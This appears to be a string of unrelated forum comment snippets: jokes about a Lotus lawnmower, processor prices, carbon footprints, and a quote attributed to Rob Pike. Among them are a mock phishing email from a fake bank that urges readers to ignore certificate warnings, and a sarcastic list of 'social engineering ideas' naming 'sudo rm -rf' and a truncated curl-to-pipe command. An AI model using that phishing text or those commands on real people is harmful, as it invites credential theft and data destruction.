Oh, man... I'm picturing being *that guy*, the one that rolls out his riding lawnmower with the Lotus symbol on the hood... All my neighbors would stop pushing their mowers to watch my gleaming grass cutting muscle machine in amazement and envy. Cue Tim Allen caveman grunts...
Wake me up when the processor is $100
Millions of ordinary people didn't know there was a vulnerability until now.
Dear Ordinary Person,
As you may have heard in the media, there has been an exploit discovered in the security protocols used in the banking sector. As such, we require you to log on and reset your password. Please click on this link and enter your security details there. Please ignore any certificate warnings that you might see, they are unavoidable while we implement a more secure protocol.
Sorry for the inconvenience
Bad Guy^H^H^H^H^H^H^H Yourbank
. . . the First Church of Appliantology?
But here are some even simpler social engineering ideas:
* tell people to replace
* tell people to type sudo rm -rf
* tell people to type "curl http://yoursite.com/hack |
Whew! I was trying to figure out how I was going to fit my dog in a smart car. But now that I know my truck has less carbon footprint than my dog, I guess I'll keep it.
I believe it's "SWOOSH!" as in "RAZZLE-DAZZLE!" "BOOM-SHAKA-LAKA!" or "HE'S ON FIRE!"
I have never seen anything fill up a vacuum so fast and still suck. -- Rob Pike, on X.